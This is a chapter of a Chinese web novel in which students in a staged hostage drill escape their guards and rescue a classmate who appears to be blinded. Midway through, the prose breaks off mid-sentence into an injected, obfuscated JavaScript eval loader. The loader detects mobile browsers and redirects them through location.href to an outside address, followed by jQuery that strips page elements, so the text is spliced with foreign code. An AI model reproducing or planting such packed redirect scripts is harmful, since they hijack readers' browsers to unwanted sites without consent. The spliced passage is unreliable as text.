10. 军训进行中4
作品:《恐惧值收集中[穿书]》 领头教官将人转移到新的房间,留下两个面相凶悍的壮汉看管,自己带着手下人离开房间。
房间内摆满镜子,天花板垂下只发着昏黄微弱光芒的老式电灯,几不可见的一点亮光打在三人身上,在她们脚下投下一小块阴影。因为镜子的存在,这点微光被放大加强,让房间明亮了很多。
三人都被结结实实绑在椅子上,眼上都蒙着块破布条。她们嘴里的碎布塞满整个口腔,让她们无法发出任何声音。
稍高一些的壮汉动作粗鲁地摘掉几人的眼罩。
重获光明的阮陶不适地活动了几下眼睛,低下头,眼神不住地扫视四周。很快,她就发现同样被绑在椅子上的季言渊。但也许是角度的问题,她没能找到白珩。
季言渊也在乱看,但他是挺直腰板,正大光明地转着头左顾右盼。
“你!看什么看!老实点!”
被吼了的季言渊停下乱转的头,眼神直勾勾地落在阮陶身上。
阮陶偷偷给他使个眼色,挤眉弄眼地用夸张的表情问询对方是否看到白珩的身影。季言渊秒懂,朝她微微摇头,随后扭头看看紧锁的房门,又看向离阮陶比较近的矮个头壮汉。
阮陶顺着对方的视线看去,注意到壮汉腰侧随意挂着的钥匙。
另一边。
被扯下眼罩的白珩眯着眼适应片刻强光,睁开眼环视四周。
是监控室,而坐在他旁边的人正是庾向晚。
他挑眉,直直看着庾向晚,眼里是浅浅的笑意和一点小得意。他还是一副被五花大绑的模样,只不过嘴里没有被塞布条,而是在嘴的位置由黑胶带死死缠绕三圈,连脸都被勒出圈印子。
庾向晚没有施舍给他半分眼神,她的注意力全在监控视频上。她举起对讲机,对视频里的矮个头壮汉下了命令:“离阮陶近一些,一会儿给出钥匙的时候自然一点。”
收到命令的壮汉装作脚酸的样子,动了动腿,不动声色地靠近阮陶。
在他背后,阮陶眸子一亮,加快解开自己身上绳子的速度。在最后一个结打开后,她双手并用拉紧绳子,没让绳子落地,装作依旧被绑得严实的状态。
她旁边的季言渊的动作稍慢,在阮陶解开绳子的十分钟后,他才终于勉强抽出右手。
他向阮陶微微点头。二人突然暴起,把身上的绳子丢到两个壮汉头上,趁壮汉没有反应过来,她们立刻动作配合地把壮汉们绊倒在地,压在他们身上,迅速用绳子缠住二人。
“来人,她们要……呕!”
季言渊眼疾手快,吐出布条,掏出自己的限量版手帕,一张嘴塞一个,成功堵住壮汉的即将脱口而出的话。
她们二人将两个壮汉倒着绑在椅子上,确保二人动弹不得,这才放心地头对头凑到一起商量对策。
“现在几点?”
“下午五点四十。”
“好,我们先找找有什么武器可以用来吓唬一下这两个人。”阮陶趴在门缝小心观察,确认没人后,左右看看,脱下外衣包着镜子往地上用力一砸。
季言渊拦住她拿镜子碎片的手,也脱下自己外衣,用外衣包住较大的一片镜子碎片的下半部分,检查确认过已经包严实后,递给了阮陶。
阮陶投以一个感激的眼神,接过碎片,走到壮汉们面前蹲下,拿镜子尖锐的角虚虚搭在高个头壮汉的喉咙处,伸手拿掉堵嘴的布。
“你们的人几点开始给人质送饭?这里有监控吗?从哪个方向走可以离开这个地方?你们身上有木仓吗?”
阮陶一连串问了好几个问题,壮汉一个也不敢回答。等到耳机那侧的庾向晚一一答完,他才照着回答:“六点送。有,有监控,但不多,只有走廊和大门门口有。只有一条路,沿着走廊一直走就能出去。木仓,这个……”
“说。”季言渊拧眉不悦地看向他。
“你,你凑过来我说。哎,你不行!要那个男的过来听!”
季言渊满脸问号地贴近壮汉,片刻,他涨红脸弹起上身,不敢看阮陶,磕磕绊绊地开口道:“你,你转,转过去,我取。”
阮陶满头雾水地配合转身,片刻,她得到一把被擦得油光锃亮的木仓。
“走吧。”季言渊把布条塞回壮汉嘴里,使劲往里捅了捅,捅得壮汉直翻白眼,不住干呕,这才僵硬地迈向门口。
他将门开了个小缝,把木仓伸出去对准疑似监控器的东西射击几下。监控器应声而碎,他收回木仓,打头出了门。
看她们两个现在都出了门,庾向晚调转监控视频,切成总画面。她仔细对比几下不同画面上演员们的数量和位置,拨通总教官的对讲机:“现在赎金凑到什么程度了?两个人质动作很快,已经离开关押室了。”
“漂亮!动作真快!这次演习成绩我一定给她们满分!大家都很积极,已经凑齐全部的赎金,只等交给负责接收的。”
“好,接下来可以为这次演习做个收尾了。不过先不要收赎金,等人质出去后再叫同学们过来。林申想给大家一个庆祝礼。”
“哈哈哈哈!好!”
挂断通话,庾向晚又拨通集体对话通路:“各位,可以按照之前的排练开始行动了。”
再次挂断对讲机后,庾向晚转动转椅,面朝白珩:“想看场戏吗?”
白珩点头。
“演技怎么样?”
与她的话音一同落下的是白珩身上层层缠绕的绳子。他动作优雅地撕开黑胶带,勾起嘴角:“叫我影帝。”
得到庾向晚后续计划的白珩在一众化妆师的手下完成妆造,快步赶往自己的戏台。几个男人围着他将他捆好,等待好戏上演。
他们没有等很久。
门口的阮陶和季言渊握紧木仓,放缓呼吸,警惕地观察着门内。
现在屋内大概有五个人,两个在门口站岗,两个在折磨白珩,另一个拿着手机录下白珩被折磨的过程。除了站岗那两个,剩下的人身上都没有木仓。
阮陶握着木仓地手紧了又紧,她努力控制好自己的情绪,只是罕见的低沉音色还是将她当下愤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127718|196166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怒的情绪展露无遗:“白珩同学太受欢迎了,劫匪一定是想多要赎金才这样折磨他。”
“现在还不是时机。”
“白珩同学状态很不对。”
“门口两人警惕心还没放下。”
“白珩同学身上全是血。”
“阮陶,冷静。”季言渊担忧地看着她,“我们可以救出他。”
阮陶的手在发抖,但她的视线还是紧紧跟随白珩:“他不会是下一个林申同学。”
“他不会。”季言渊肯定地回复,语气里满是坚定,“他绝不会是下一个林申。”
两人如同狩猎的狼静静地守在门口,等待一个猎物露出破绽的时机。
时间一分一秒过去,门口两个人的身体终于开始摇晃,其中一个打了个哈欠,手中的木仓摇摇欲坠。
就是现在!
阮季二人踹开门,对准站岗的人。看站岗的人想举木仓,季言渊立刻开木仓打掉他们木仓上的背带。木仓摔在地上,发出重重的声响。
这声响惊动另外三个人。他们惊慌地看向来人,反应极快地举起双手:“别,别,别开木仓!”
“退后。”看他们没有动作,季言渊毫不客气地给其中地位明显最高的一个的脚下来了一枪,重复道,“退后。”
“都退!”那人摆摆手,其他人识趣地退到他附近。
阮陶收起木仓,掏出她们刚才搜罗到的绳子,丢到那人跟前:“把其他四个都绑起来。”
那人乖乖照做。看他绑好后,阮陶过去把他也给绑了,再连同他将所有人捆在一起,这才放心地去救白珩。
“白珩同学!你怎么样!”
绳子一解开,白珩的身子就朝阮陶的方向软了下去,季言渊在他即将碰到阮陶的瞬间,给了他一脚,让他调转方向稳稳倒在椅背上。
“嘶——季言渊!我是个伤患!”
“还能喘气,不算。”
阮陶紧张地检查了一下他的伤口,放心地长呼一口气:“只是皮外伤,还好。那我们走吧。”
白珩一愣,而后自然站起。他往前迈了几步,被椅子绊倒在地。
季言渊皱眉:“不要给自己加戏。”
阮陶凑过去想扶起白珩,被他拒绝:“我可以。”
白珩笑着爬起,面朝空气说道:“我没事,阮陶同学,我们走吧。”
“白珩同学?”阮陶这才发现白珩的眼睛似乎出了一些问题,她转到白珩面前仔细观察,发现他双目无神。
她突然将手作爪状快速伸到他眼前,又在他眼睛一厘米处停下,而他的眼睛一眨也不眨地依旧空洞无神地望着前方。
“怎么了?怎么突然不说话了?”
阮陶忧心忡忡地收回手,语气沉重地说道:“白珩同学,你实话跟我说,你是不是……暂时什么都看不到了?”
季言渊刷地看向白珩,眼里闪过迷茫:“你瞎了?”
白珩沉默一下,露出微笑,只是这笑容怎么看怎么落寞:“嗯,似乎是。”

